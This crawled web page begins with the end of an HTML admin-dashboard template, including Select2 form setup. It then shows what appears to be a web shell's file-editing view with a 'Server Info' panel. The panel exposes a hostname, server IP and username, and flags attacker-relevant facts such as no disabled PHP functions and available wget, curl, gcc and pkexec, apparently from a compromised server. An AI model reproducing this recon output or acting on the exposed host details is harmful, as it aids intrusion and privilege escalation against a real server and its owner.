onchange="document.body.setAttribute('data-sidebar', 'dark')"> <label class="form-check-label" for="sidebar-color-dark">Dark</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-brand" value="brand" onchange="document.body.setAttribute('data-sidebar', 'brand')"> <label class="form-check-label" for="sidebar-color-brand">Brand</label> </div> <h6 class="mt-4 mb-3 pt-2">Direction</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-direction" id="layout-direction-ltr" value="ltr"> <label class="form-check-label" for="layout-direction-ltr">LTR</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-direction" id="layout-direction-rtl" value="rtl"> <label class="form-check-label" for="layout-direction-rtl">RTL</label> </div> </div> </div> <!-- end slimscroll-menu--> </div> <!-- /Right-bar --> <!-- Right bar overlay--> <div class="rightbar-overlay"></div> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> <!-- apexcharts --> <script src="assets/libs/apexcharts/apexcharts.min.js"></script> <!-- Plugins js--> <script src="assets/libs/admin-resources/jquery.vectormap/jquery-jvectormap-1.2.2.min.js"></script> <script src="assets/libs/admin-resources/jquery.vectormap/maps/jquery-jvectormap-world-mill-en.js"></script> <!-- dashboard init --> <!-- pristine js --> <script src="assets/libs/pristinejs/pristine.min.js"></script> <!-- form validation --> <script src="assets/js/pages/form-validation.init.js"></script> <script src="assets/js/app.js"></script> <link href="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css" rel="stylesheet" /> <script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js"></script> <script> class DistrictSelector { constructor(selector, options = {}) { this.selector = selector; this.options = { placeholder: "Select District", allowClear: true, width: '100%', ...options // Merge default options with any custom options }; this.init(); } init() { // Ensure jQuery is available and the element exists if (typeof jQuery === 'undefined' || !$(this.selector).length) { console.error('jQuery or element not found for DistrictSelector:', this.selector); return; } // Initialize Select2 with the provided options $(this.selector).select2(this.options); } } // Instantiate the class when the document is ready $(document).ready(function() { const districtSelector = new DistrictSelector('#district'); }); </script> <script> $(document).ready(function() { function select2FocusFix() { var originalOpen = $.fn.select2.amd.require('select2/select').prototype.position; $.fn.select2.amd.require('select2/select').prototype.position = function(...args) { var result = originalOpen.apply(this, args); if (this.$search) { this.$search.focus(); } return result; }; } // Apply Select2 only to specific select elements $('#denomination, #religion,#nationality').select2({ width: 'resolve' }).on('select2:open', function (e) { setTimeout(() => { $(e.target).data('select2').dropdown.$search.get(0).focus(); }, 0); }); select2FocusFix(); }); </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002